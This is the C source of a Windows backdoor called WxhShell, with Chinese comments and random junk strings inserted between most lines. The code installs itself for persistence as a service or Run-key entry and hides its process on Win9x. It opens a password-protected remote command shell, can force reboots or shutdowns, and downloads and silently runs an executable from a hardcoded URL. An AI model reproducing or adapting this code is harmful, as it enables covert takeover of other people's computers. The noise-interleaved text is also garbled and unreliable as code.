(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OXbShA&1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h.F=Fhx/1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )7.DF|A "om7 :d if (!NtQueryInformationProcess) return 0; yz=X{p1 a!-J=\>9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <F(2D<d{;) if(!hProcess) return 0; 3l41"5Fy& #0Y_!'j if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6]d]0TW_ *o4a<.hd2 CloseHandle(hProcess); KR%WBvv u:2Ll[ eo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^V#,iO9.- if(hProcess==NULL) return 0; y%;o 3NDddrL9 HMODULE hMod; H?8'( char procName[255]; LybaE~=
unsigned long cbNeeded; X~c?C-fV F]UH\1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C !Srv7 K)~a H CloseHandle(hProcess); 3^~J;U!3 zU+q03l8Ur if(strstr(procName,"services")) return 1; // 以服务启动 y32$b,%Xi, 9jqsEd-SW return 0; // 注册表启动 ,NS*`F[O } D_0Vu/v HOFxOBV // 主模块 Cp"7R&s int StartWxhshell(LPSTR lpCmdLine) G%t>Ll``C { uHSnZ"# SOCKET wsl; *|dK1'Xr BOOL val=TRUE; 6{HCF-cQd int port=0; @;P ;iI struct sockaddr_in door; `w\P- q S* O .
? if(wscfg.ws_autoins) Install(); BB(6[V"SV n*=#jL port=atoi(lpCmdLine); {DQ%fneN4 7\,9Gcv1 if(port<=0) port=wscfg.ws_port; !h7.xl OpN @e
GBF
Ns WSADATA data; #Ir?v if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DI{*E G#7(6:=;,` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mL48L57Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }\?9Prsd door.sin_family = AF_INET; *??lwvJp door.sin_addr.s_addr = inet_addr("127.0.0.1"); \>-
M&C door.sin_port = htons(port); :1>?:3,` q_h (D/g if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IUFc_uL@\ closesocket(wsl); V9BW@G@9 return 1; Fds
11
/c7 } x~!|F5JbM KddCR& if(listen(wsl,2) == INVALID_SOCKET) { =zcvR {Dkp closesocket(wsl); mnsl$H_4S return 1; ^0OP&s;" } JUpV(p"-r Wxhshell(wsl); M>]A!W= WSACleanup(); 0yI1r7yNB+ #Or;"}P>fB return 0; |j`73@6 VE|l;aXi } :]m.&r S, ^U*y*l$
// 以NT服务方式启动 $ItjVc@U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F#sm^% _2 { WQ.0} n}d DWORD status = 0; 4\Y5RfLB_ DWORD specificError = 0xfffffff; zl|z4j'Irc {7OHEArv
serviceStatus.dwServiceType = SERVICE_WIN32; 7#0buXBg serviceStatus.dwCurrentState = SERVICE_START_PENDING; x?+w8jSR serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +O.-o/ serviceStatus.dwWin32ExitCode = 0; 05`"U#`: serviceStatus.dwServiceSpecificExitCode = 0; \xkKgI/ serviceStatus.dwCheckPoint = 0; AAevN3a#nI serviceStatus.dwWaitHint = 0; &vpKBR^ ukW&\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,RV
qYh(-| if (hServiceStatusHandle==0) return; K
-U}sW "d_wu#fO) status = GetLastError(); %L+q:naZe if (status!=NO_ERROR) 5 8bW { {arqcILr serviceStatus.dwCurrentState = SERVICE_STOPPED; lT^su'+bk serviceStatus.dwCheckPoint = 0; "]+g5G serviceStatus.dwWaitHint = 0; lir=0oq< serviceStatus.dwWin32ExitCode = status; ]dpL
PR serviceStatus.dwServiceSpecificExitCode = specificError; 2X?GEO]/4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Yj{%
G return; 'dLw8&T+W } 4+RR`I8$Ge to'7o8Z serviceStatus.dwCurrentState = SERVICE_RUNNING; 1UP=(8j/ serviceStatus.dwCheckPoint = 0; -zR<m serviceStatus.dwWaitHint = 0; zfeT>S+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d~LoHp }
Q.g/ ul~ux$a // 处理NT服务事件,比如:启动、停止 Q_5l.M/9] VOID WINAPI NTServiceHandler(DWORD fdwControl) #[+# bw_6 { xye-Z\-t switch(fdwControl) 1Cr&6 't { Vao:9~ case SERVICE_CONTROL_STOP: W__ArV2Z_ serviceStatus.dwWin32ExitCode = 0; \TQZZ_Z serviceStatus.dwCurrentState = SERVICE_STOPPED; lSxb:$g serviceStatus.dwCheckPoint = 0; P`Np+E#I serviceStatus.dwWaitHint = 0; v=U<exM6% { V;M_Y$`Lh SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3BFOZV+ } -`O{iHfM|P return; #N|\7(#~u case SERVICE_CONTROL_PAUSE: Un?|RF serviceStatus.dwCurrentState = SERVICE_PAUSED; SE'Im break; TEtmmp0OD case SERVICE_CONTROL_CONTINUE: cD!,ZL serviceStatus.dwCurrentState = SERVICE_RUNNING; '7iz5wC# break; iq#{*:1 case SERVICE_CONTROL_INTERROGATE: jK|n^5\ break; j*{0<hZb} }; 19!?oeOU SetServiceStatus(hServiceStatusHandle, &serviceStatus); wlS/(:02 } {}O~tf_ $7x2TiAL // 标准应用程序主函数 +QChD* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gabfb# { 6= iHw24 TW|K.t@5#H // 获取操作系统版本 c*bvZC^6 OsIsNt=GetOsVer(); I^NDJdxd GetModuleFileName(NULL,ExeFile,MAX_PATH); EVmBLH-a c=m'I>A // 从命令行安装 @N*|w
Kc+ if(strpbrk(lpCmdLine,"iI")) Install(); X9x`i xS*UY.> // 下载执行文件 at uqo3 if(wscfg.ws_downexe) { Bf{u:TCK if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rH@Rh}#yp WinExec(wscfg.ws_filenam,SW_HIDE); 01cBAu
} |T:R.=R$~ y|`-)fY if(!OsIsNt) { GZ%vFje_
K // 如果时win9x,隐藏进程并且设置为注册表启动 rXx#<7` HideProc(); v~$V StartWxhshell(lpCmdLine); ">V1II
7 } UU=]lWib else ;[ <(4v$ if(StartFromService()) w~Tg?RH: // 以服务方式启动 F8pA)!AH StartServiceCtrlDispatcher(DispatchTable); ~\":o:qyc else `v*HH}aDO // 普通方式启动 g5V \R*{ StartWxhshell(lpCmdLine); mU5Ox4>&9 Ho &Q}<( return 0; +O}Ik.w } 0Lo8pe`DH QLqtE;;)JK .}IW!$
dq oe<i\uX8z =========================================== j=r1JV
@ Af3|l AtQ.H-8r I&-r^6Yx IuwE&# <)7aNW. " nCQtn%j't /7}pReUj #include <stdio.h> C;W@OS-; #include <string.h> M(X
_I`\E #include <windows.h> B;k'J:-" #include <winsock2.h> 2KLMFI.F #include <winsvc.h> n`,
<g #include <urlmon.h> ;cMQ0e mnm
ZO} #pragma comment (lib, "Ws2_32.lib") BA@E #pragma comment (lib, "urlmon.lib") "J(M. Y L
FWp}#% #define MAX_USER 100 // 最大客户端连接数 b-u@?G|< #define BUF_SOCK 200 // sock buffer <>HtXn/ #define KEY_BUFF 255 // 输入 buffer
qNJc*@s '~Y@HRVL@| #define REBOOT 0 // 重启 tK;xW #define SHUTDOWN 1 // 关机 LDQ,SS, yeiIP #define DEF_PORT 5000 // 监听端口 P2vG)u
]@ruizb8 #define REG_LEN 16 // 注册表键长度 T +vo)9w #define SVC_LEN 80 // NT服务名长度 1["i,8zB >@7$=Y>D // 从dll定义API *QQeK#$s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j!agD_J typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z"VP<- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h^g0|p5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U)G.Bst vCP[7KhGj // wxhshell配置信息 G4'Ia$ struct WSCFG { S]fu
M% int ws_port; // 监听端口 _^W;J/He char ws_passstr[REG_LEN]; // 口令 hEHd$tH06 int ws_autoins; // 安装标记, 1=yes 0=no <8}FsRr;J char ws_regname[REG_LEN]; // 注册表键名 >
-OOU char ws_svcname[REG_LEN]; // 服务名 (
unmf,y char ws_svcdisp[SVC_LEN]; // 服务显示名 ) (YNNu char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qa,= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SE\?8cs]- int ws_downexe; // 下载执行标记, 1=yes 0=no HF0G=U}i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LWCFCkx% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u9~5U9]O%6 @Fc:9a@ }; 6C
VH)=% 0Agse) // default Wxhshell configuration RiQ]AsTtl struct WSCFG wscfg={DEF_PORT, d@ K-ZMq "xuhuanlingzhe", kBZ1)? 1, 2
`>a( "Wxhshell", @$jV"Y "Wxhshell", y.A3hV%6b "WxhShell Service", v82wnP-~7 "Wrsky Windows CmdShell Service", bg Ux&3 "Please Input Your Password: ", #DgHF*GG+> 1, -Fd&rq:GB( "http://www.wrsky.com/wxhshell.exe", 0Ncpi=6 "Wxhshell.exe" > T* `Y0P }; 9" q-Bb I4"p]>Y" // 消息定义模块 ;~<To9O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZxNTuGOB: char *msg_ws_prompt="\n\r? for help\n\r#>"; #B5,k|"/,M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R1H^CJ=v0 char *msg_ws_ext="\n\rExit."; ~uc7R/3ss char *msg_ws_end="\n\rQuit."; 5csh8i'V char *msg_ws_boot="\n\rReboot..."; 5Rl\& G\ char *msg_ws_poff="\n\rShutdown..."; GS>[A b+ char *msg_ws_down="\n\rSave to "; J> Ef#LRcG-Z char *msg_ws_err="\n\rErr!"; \I!mzo char *msg_ws_ok="\n\rOK!"; tfU*U>j lBbb7*Ljt< char ExeFile[MAX_PATH]; WrGA7&!+ int nUser = 0; 8)0]cX HANDLE handles[MAX_USER]; g[G/If int OsIsNt; l?*DGW(t{ n- 2X?<_Z SERVICE_STATUS serviceStatus; V^,gpTyv* SERVICE_STATUS_HANDLE hServiceStatusHandle; Iuxf`sd ~`AB-0t.u // 函数声明 1@v< int Install(void); |4mvB2r int Uninstall(void); w!"L\QT int DownloadFile(char *sURL, SOCKET wsh); n>}Y@{<]/ int Boot(int flag); Bg]VaTm[= void HideProc(void); 1w=.vj<d8 int GetOsVer(void); B!/kC)bF: int Wxhshell(SOCKET wsl); OV]xo8a; void TalkWithClient(void *cs); kK=VG<
:M int CmdShell(SOCKET sock); $YX{gk> int StartFromService(void); <uuumi-!%G int StartWxhshell(LPSTR lpCmdLine); sYS
8]JU X_2N9$}, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kD#n/RBgf VOID WINAPI NTServiceHandler( DWORD fdwControl ); naaKAZ!S NIQ}A-b // 数据结构和表定义 MZz9R*_VS SERVICE_TABLE_ENTRY DispatchTable[] = Ve(<s
{ IMWt!#vuY {wscfg.ws_svcname, NTServiceMain}, tKt}]KHV {NULL, NULL} sg,\!' }; ^# $IoW BHY-fb@R]H // 自我安装 <~dfp int Install(void) iTinZ!Ut { vNw(hT5750 char svExeFile[MAX_PATH]; SPV+ O{ HKEY key; K F'fg
R strcpy(svExeFile,ExeFile); R%3yxnM* }K) AjZ // 如果是win9x系统,修改注册表设为自启动 *B3f ry if(!OsIsNt) { |6Y:W$7k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \NNA" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l?)>"^ RegCloseKey(key); 1R}9k)JQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `e ZDG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _-vlN RegCloseKey(key); LhAN( [ return 0; gqv+|:# } Yuv=<V } rS>.!DiYr, } #MYoy7= else { +}m`$B}mJ |$/#,Dv7 // 如果是NT以上系统,安装为系统服务 C1{Q 4(K% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {qHQ_ _Bl if (schSCManager!=0) _i ztQ78 { QyA^9@iVs SC_HANDLE schService = CreateService Vl$RMW@Ds ( /HUT6B schSCManager, 9 5!xJdq wscfg.ws_svcname, OF*E1BM wscfg.ws_svcdisp, 5:38}p9` SERVICE_ALL_ACCESS, A@~9r9Uf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qf K
gNZ SERVICE_AUTO_START, @8 c@H#H SERVICE_ERROR_NORMAL, "d-vs t5 svExeFile, )Jvo%Y NULL, JVg}XwR NULL, ]foS.D, NULL, . ?#Q(eLj NULL, WS&a9!3; NULL %ly&~&0 ); <>KQ8: if (schService!=0) X7*ossv { Y|mtQE?c CloseServiceHandle(schService); DPY+{5q2 CloseServiceHandle(schSCManager); V9ZM4.,OCN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %d:cC:` strcat(svExeFile,wscfg.ws_svcname); 6-$95.Y2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i*l=xW;bM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jm=3%H RegCloseKey(key); k3LHLJZ# return 0; Xr o5~G } F +5
5p8 } 2 .Xx)(> CloseServiceHandle(schSCManager); "WY5Pzsi: } S^1ZsD. } L5:1dF NHU5JSlB return 1; ENA"T-p } _TdH6[9 Z1$S(p=)L // 自我卸载 g9Dynm5 int Uninstall(void) ^[I>#U { 7<:o4\q?m HKEY key; #3>jgluM' y'6l fThT if(!OsIsNt) { D1ik*mDA= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ei2M~/ RegDeleteValue(key,wscfg.ws_regname); 8YPX8d8u RegCloseKey(key); .LM|@OeaD! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g^:`h
VV RegDeleteValue(key,wscfg.ws_regname); butBS RegCloseKey(key); 1uyd+*/(xP return 0; lQgavP W! } I(3YXv
VN } wKpD++k } f6(1jx" else { 0}`
-<( ifl
LY7j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x'G_z_<V if (schSCManager!=0) r0OP !u { =~,2E;#X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Om;`"5 if (schService!=0) 9%Vy, { >`yRL[c; if(DeleteService(schService)!=0) { `PLax@]2 CloseServiceHandle(schService); J}bLp
Z CloseServiceHandle(schSCManager); +~1FKLu return 0; 6xr%xk2E } [tC=P&< CloseServiceHandle(schService); .Y!dO@$: } ^P.U_2& CloseServiceHandle(schSCManager); NTGWI$ } H4wDF:n0H } -) +B!"1 j5smmtM`s return 1; q&:%/?)x } 8"[{[<- UsCaO<A // 从指定url下载文件 4kK_S.& int DownloadFile(char *sURL, SOCKET wsh) zlkW-rRkR { 5]kv1nQ HRESULT hr; [s]
ZT char seps[]= "/"; <&((vrfa char *token; ts,V+cEA char *file; m3(p7Z^Bq char myURL[MAX_PATH]; ExFz@6@ char myFILE[MAX_PATH]; Da)_O JYE u{sb^cmy strcpy(myURL,sURL); _Db&f}.` token=strtok(myURL,seps); JZ>
(h while(token!=NULL) va"bw!zXo* { "F
Etl( file=token; YPKB4p# token=strtok(NULL,seps); V8pZr+AJ } =L?2[a$2; YB:}Lb GetCurrentDirectory(MAX_PATH,myFILE); ^nFP#J)_5 strcat(myFILE, "\\"); PH^Gjm strcat(myFILE, file); =<K6gC27 send(wsh,myFILE,strlen(myFILE),0); XBcbLF send(wsh,"...",3,0); )tS;gn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U+["b-c if(hr==S_OK) Wn?),=WQ{ return 0; Z@>kqJ% else |GP&!] return 1; L7.SH#m v}IhO~`uEq } e3[Q6d&| l<7SB5 // 系统电源模块 ID{XZ int Boot(int flag) #veV {,g { h7o.RRhK HANDLE hToken; OpK_?XG TOKEN_PRIVILEGES tkp; hR.vJ2oa )ac!@slb^7 if(OsIsNt) { xZ>j Q_} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 59+KOQul6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8f65;lyN tkp.PrivilegeCount = 1; cz|?j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (S?DKPnR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1i)3!fH0:
if(flag==REBOOT) { =4V SbOlZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6)20%*[ return 0; Ji6.-[: } $3%+N|L else { R-wz+j# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !?+q7U return 0; cRWB`& } _c5*9')-) } p(Osz7K else { sNP
; if(flag==REBOOT) { g=,}j]tl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tvq((2 return 0; (Q8r2*L }
<$WS~tTz else { @~UQU)-( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zs ,6}m\ return 0; M.:JT31>1 } [9#zEURS } A5%$< kQQDaZ8 return 1; =q`T|9v } Fmz+ Xb ;Zr7NKs // win9x进程隐藏模块 >mG64N void HideProc(void) 9.il1mAKg { P|]r*1^5 pVrY';[,| HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V
w58w`e if ( hKernel != NULL ) m7u`r(& { p(8 @ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G#^0Bh& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bSz7?NAp FreeLibrary(hKernel); G.v(2~QFd } N^@:+,<3 Hrph>v return; ?:-:m'jdU } 2gMG7%d @qj]`}Gx' // 获取操作系统版本
KLE)+| int GetOsVer(void) =6"5kz10 { P=\{ OSVERSIONINFO winfo; S6a\KtVa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pd(_ GetVersionEx(&winfo); uoeZb=< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mtn^+* return 1; "k{so',7z else SgehOu return 0; GQ>0E } u*rP8GuS ]dI^
S // 客户端句柄模块 Y0A(-" int Wxhshell(SOCKET wsl) L/`1K_\l { Hq 3V+$ SOCKET wsh; FO:L+&hr?> struct sockaddr_in client; .g\Oj0Cbxh DWORD myID; aekke//y *kg->J while(nUser<MAX_USER) |iUC\F=- { g$?^bu dxv int nSize=sizeof(client); Q{L:pce- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l:uQ#Z) if(wsh==INVALID_SOCKET) return 1; V
K 7 ,w H~.LHi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F P|cA^$< if(handles[nUser]==0) *4}NLUVX closesocket(wsh); VJ&<6 else ,m5i(WL nUser++; p\lR1 } UU MB"3e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6[c|14l !$oa6*<1 return 0; %xOxMK@ } |%v:>XEO G2)F<Y // 关闭 socket }X^MB void CloseIt(SOCKET wsh) VN!nef
{ 9Ffam# closesocket(wsh); ;p`to"6IFD nUser--; ~uty<fP ExitThread(0); fe98Y-e } HbsNF~; Opc szq5n // 客户端请求句柄 TnK<Wba void TalkWithClient(void *cs) %HoD)OJe { &{a!)I> 6AG]7d< SOCKET wsh=(SOCKET)cs; UGy3B) char pwd[SVC_LEN]; to</ char cmd[KEY_BUFF]; ,.>9$( s char chr[1]; C9sU^]#F int i,j; Vb\g49\o/ 2a
eH^:u while (nUser < MAX_USER) { /}8Au$nA ,.cR @5qI if(wscfg.ws_passstr) { _G/R;N71 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jgIG";:Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m{ !$_z8: //ZeroMemory(pwd,KEY_BUFF); zdRVAcrwQ i=0; tJrGRlB> while(i<SVC_LEN) { 4=Ru{ewRV : #CWiq("% // 设置超时 "5~?`5Ff fd_set FdRead; XxS#~J?:_ struct timeval TimeOut; &zX W FD_ZERO(&FdRead); H/x0' FD_SET(wsh,&FdRead); x"e;T,c
TimeOut.tv_sec=8; IONo&~-l TimeOut.tv_usec=0; vjx'yh| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *$fM}6} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [1P_^.Htr 'WP~-}( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nsU7cLf"^V pwd=chr[0]; m[v0mXE if(chr[0]==0xd || chr[0]==0xa) { klT?h[I! pwd=0; `D~oY= break; l_Lz9k }
*af\U3kx i++; G&{yM2:E } p7;K] AW @gK`RmhGE5 // 如果是非法用户,关闭 socket @M4c/k} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y1%OH#:duD } Q:megU'u }
u;{38~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oOpEpQ}}q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lt6wmCe "gM!/<~ while(1) { Za|iU`e\ C78g|n{ ZeroMemory(cmd,KEY_BUFF); qm!oJL V=8db%^ // 自动支持客户端 telnet标准 (c0L
H j=0; +?U[362> while(j<KEY_BUFF) { e72Fz#<q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 63=&??4 cmd[j]=chr[0]; p;}`PW if(chr[0]==0xa || chr[0]==0xd) { $`3yImv+w cmd[j]=0; Z%3CmKdeF break; 9m$"B*&6G
} V4V`0I j++; M11\Di1 } xn2 nh@; vkTu:3Qe // 下载文件 4uOR=+/l if(strstr(cmd,"http://")) { |JIlp"[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZL<X*l2 if(DownloadFile(cmd,wsh)) F8-GnTxa send(wsh,msg_ws_err,strlen(msg_ws_err),0); SED52$zA else Wn@oG@}~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5WHz_'c
} FJtmRPP[r else { e7;7TrB. :KO&j"[ switch(cmd[0]) { j;`Q82V\ #Pg`0xiV // 帮助 !VWA4 e!+ case '?': { I~n4}}9M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . J O3# break; gdf0 } gxVr1DIkN // 安装 $uTrM8 case 'i': { }[JB% if(Install()) 9
fB|e| send(wsh,msg_ws_err,strlen(msg_ws_err),0); '9f0UtT|[ else >va_,Y} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =fRS UtX break; aJ(/r.1G } Y`j$7!j // 卸载 L'{W|Xb+ case 'r': { c<|y/n if(Uninstall()) crb^TuN send(wsh,msg_ws_err,strlen(msg_ws_err),0); s oY\6mHio else <7U~0@<Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2(DhKHrF break; BN79\rt
} t~o"x . // 显示 wxhshell 所在路径 .ifz9jM' case 'p': { ]?=87w char svExeFile[MAX_PATH]; ,1mL=|na
strcpy(svExeFile,"\n\r"); -z`%x@F<&L strcat(svExeFile,ExeFile); qF~9:` send(wsh,svExeFile,strlen(svExeFile),0); Mn
,hmIz break; >1!u]R<3 } G%bv<_R // 重启 J "I,] case 'b': { 8S8qj"s send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gvT}UNqL if(Boot(REBOOT)) f9u=h} send(wsh,msg_ws_err,strlen(msg_ws_err),0); *zPqXtw!j else { o664b$5nsI closesocket(wsh); :%sBY0 yF ExitThread(0); h}SZ+G/L } HN5661;8 break; ;"Gy5 } O
ixqou // 关机 0R)x"4Ww case 'd': { p($vM^_<" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %9>w|%+;U+ if(Boot(SHUTDOWN)) DK?aFSf\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (o|bst][S else { BZW03e8| closesocket(wsh); phu,&DS! ExitThread(0); 8HKv_vl } !rRBy3& break; z9S
(< |